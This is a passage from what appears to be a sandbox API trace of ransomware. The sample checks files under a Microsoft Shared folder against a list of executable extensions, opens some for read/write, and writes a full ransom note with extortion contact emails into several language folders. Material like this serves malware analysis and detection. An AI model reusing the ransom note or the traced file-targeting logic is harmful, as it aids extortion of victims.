	[0078.674] RtlWakeConditionVariable () returned 0x365f70
	[0078.674] GetCurrentThreadId () returned 0x9cc
	[0078.674] GetCurrentThreadId () returned 0x9cc
	[0078.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d50 | out: hHeap=0x300000) returned 1
	[0078.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.675] lstrlenW (lpString=".scr") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.675] lstrlenW (lpString=".cmd") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.675] lstrlenW (lpString=".dll") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.675] lstrlenW (lpString=".dll.mui") returned 8
	[0078.675] lstrlenW (lpString=".bat") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.675] lstrlenW (lpString=".cpl") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.675] lstrlenW (lpString=".sys") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.675] lstrlenW (lpString=".msc") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.675] lstrlenW (lpString=".com") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.675] lstrlenW (lpString=".lnk") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.675] lstrlenW (lpString=".msp") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.675] lstrlenW (lpString=".pif") returned 4
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.675] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.676] RtlWakeConditionVariable () returned 0x365f70
	[0078.676] GetCurrentThreadId () returned 0x9cc
	[0078.676] GetCurrentThreadId () returned 0x9cc
	[0078.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4a48 | out: hHeap=0x300000) returned 1
	[0078.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6d88 | out: hHeap=0x300000) returned 1
	[0078.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4a48
	[0078.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.713] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.713] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.714] CloseHandle (hObject=0x120) returned 1
	[0078.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4a48 | out: hHeap=0x300000) returned 1
	[0078.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.714] RtlWakeConditionVariable () returned 0x365f70
	[0078.714] GetCurrentThreadId () returned 0x9cc
	[0078.714] GetCurrentThreadId () returned 0x9cc
	[0078.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4d90 | out: hHeap=0x300000) returned 1
	[0078.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6df8 | out: hHeap=0x300000) returned 1
	[0078.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4d90
	[0078.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.748] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.748] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.750] CloseHandle (hObject=0x120) returned 1
	[0078.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4d90 | out: hHeap=0x300000) returned 1
	[0078.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.750] RtlWakeConditionVariable () returned 0x365f70
	[0078.750] GetCurrentThreadId () returned 0x9cc
	[0078.750] GetCurrentThreadId () returned 0x9cc
	[0078.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0078.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9628 | out: hHeap=0x300000) returned 1
	[0078.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5848
	[0078.750] lstrlenW (lpString=".scr") returned 4
	[0078.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.750] lstrlenW (lpString=".cmd") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.751] lstrlenW (lpString=".dll") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.751] lstrlenW (lpString=".dll.mui") returned 8
	[0078.751] lstrlenW (lpString=".bat") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.751] lstrlenW (lpString=".cpl") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.751] lstrlenW (lpString=".sys") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.751] lstrlenW (lpString=".msc") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.751] lstrlenW (lpString=".com") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.751] lstrlenW (lpString=".lnk") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.751] lstrlenW (lpString=".msp") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.751] lstrlenW (lpString=".pif") returned 4
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.751] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0078.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.752] RtlWakeConditionVariable () returned 0x365f70
	[0078.752] GetCurrentThreadId () returned 0x9cc
	[0078.752] GetCurrentThreadId () returned 0x9cc
	[0078.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b58f0 | out: hHeap=0x300000) returned 1
	[0078.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9660 | out: hHeap=0x300000) returned 1
	[0078.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b58f0
	[0078.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.752] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.752] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.754] CloseHandle (hObject=0x120) returned 1
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b58f0 | out: hHeap=0x300000) returned 1
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.754] RtlWakeConditionVariable () returned 0x365f70
	[0078.754] GetCurrentThreadId () returned 0x9cc
	[0078.754] GetCurrentThreadId () returned 0x9cc
	[0078.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1a40 | out: hHeap=0x300000) returned 1
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9698 | out: hHeap=0x300000) returned 1
	[0078.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1a40
	[0078.754] lstrlenW (lpString=".scr") returned 4
	[0078.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll", lpSrch=".scr") returned 0x0
	[0078.754] lstrlenW (lpString=".cmd") returned 4
	[0078.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll", lpSrch=".cmd") returned 0x0
	[0078.754] lstrlenW (lpString=".dll") returned 4
	[0078.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll", lpSrch=".dll") returned=".dll"
	[0078.754] lstrlenW (lpString=".dll") returned 4
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1a40 | out: hHeap=0x300000) returned 1
	[0078.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.755] RtlWakeConditionVariable () returned 0x365f70
	[0078.755] GetCurrentThreadId () returned 0x9cc
	[0078.755] GetCurrentThreadId () returned 0x9cc
	[0078.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5998 | out: hHeap=0x300000) returned 1
	[0078.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f96d0 | out: hHeap=0x300000) returned 1
	[0078.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5998
	[0078.755] lstrlenW (lpString=".scr") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.755] lstrlenW (lpString=".cmd") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.755] lstrlenW (lpString=".dll") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.755] lstrlenW (lpString=".dll.mui") returned 8
	[0078.755] lstrlenW (lpString=".bat") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.755] lstrlenW (lpString=".cpl") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.755] lstrlenW (lpString=".sys") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.755] lstrlenW (lpString=".msc") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.755] lstrlenW (lpString=".com") returned 4
	[0078.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.755] lstrlenW (lpString=".lnk") returned 4
	[0078.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.756] lstrlenW (lpString=".msp") returned 4
	[0078.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.756] lstrlenW (lpString=".pif") returned 4
	[0078.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.756] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5998 | out: hHeap=0x300000) returned 1
	[0078.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.757] RtlWakeConditionVariable () returned 0x365f70
	[0078.757] GetCurrentThreadId () returned 0x9cc
	[0078.757] GetCurrentThreadId () returned 0x9cc
	[0078.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0078.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9708 | out: hHeap=0x300000) returned 1
	[0078.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5a40
	[0078.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.757] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.757] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.759] CloseHandle (hObject=0x120) returned 1
	[0078.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0078.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.759] RtlWakeConditionVariable () returned 0x365f70
	[0078.759] GetCurrentThreadId () returned 0x9cc
	[0078.759] GetCurrentThreadId () returned 0x9cc
	[0078.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ae8 | out: hHeap=0x300000) returned 1
	[0078.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9740 | out: hHeap=0x300000) returned 1
	[0078.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5ae8
	[0078.759] lstrlenW (lpString=".scr") returned 4
	[0078.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".scr") returned 0x0
	[0078.759] lstrlenW (lpString=".cmd") returned 4
	[0078.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".cmd") returned 0x0
	[0078.759] lstrlenW (lpString=".dll") returned 4
	[0078.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".dll") returned 0x0
	[0078.759] lstrlenW (lpString=".bat") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".bat") returned 0x0
	[0078.760] lstrlenW (lpString=".cpl") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".cpl") returned 0x0
	[0078.760] lstrlenW (lpString=".sys") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".sys") returned 0x0
	[0078.760] lstrlenW (lpString=".msc") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".msc") returned 0x0
	[0078.760] lstrlenW (lpString=".com") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".com") returned 0x0
	[0078.760] lstrlenW (lpString=".lnk") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".lnk") returned 0x0
	[0078.760] lstrlenW (lpString=".msp") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".msp") returned 0x0
	[0078.760] lstrlenW (lpString=".pif") returned 4
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch=".pif") returned 0x0
	[0078.760] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ae8 | out: hHeap=0x300000) returned 1
	[0078.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.761] RtlWakeConditionVariable () returned 0x365f70
	[0078.761] GetCurrentThreadId () returned 0x9cc
	[0078.761] GetCurrentThreadId () returned 0x9cc
	[0078.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5b90 | out: hHeap=0x300000) returned 1
	[0078.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9778 | out: hHeap=0x300000) returned 1
	[0078.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5b90
	[0078.761] lstrlenW (lpString=".scr") returned 4
	[0078.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.761] lstrlenW (lpString=".cmd") returned 4
	[0078.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.762] lstrlenW (lpString=".dll") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.762] lstrlenW (lpString=".dll.mui") returned 8
	[0078.762] lstrlenW (lpString=".bat") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.762] lstrlenW (lpString=".cpl") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.762] lstrlenW (lpString=".sys") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.762] lstrlenW (lpString=".msc") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.762] lstrlenW (lpString=".com") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.762] lstrlenW (lpString=".lnk") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.762] lstrlenW (lpString=".msp") returned 4
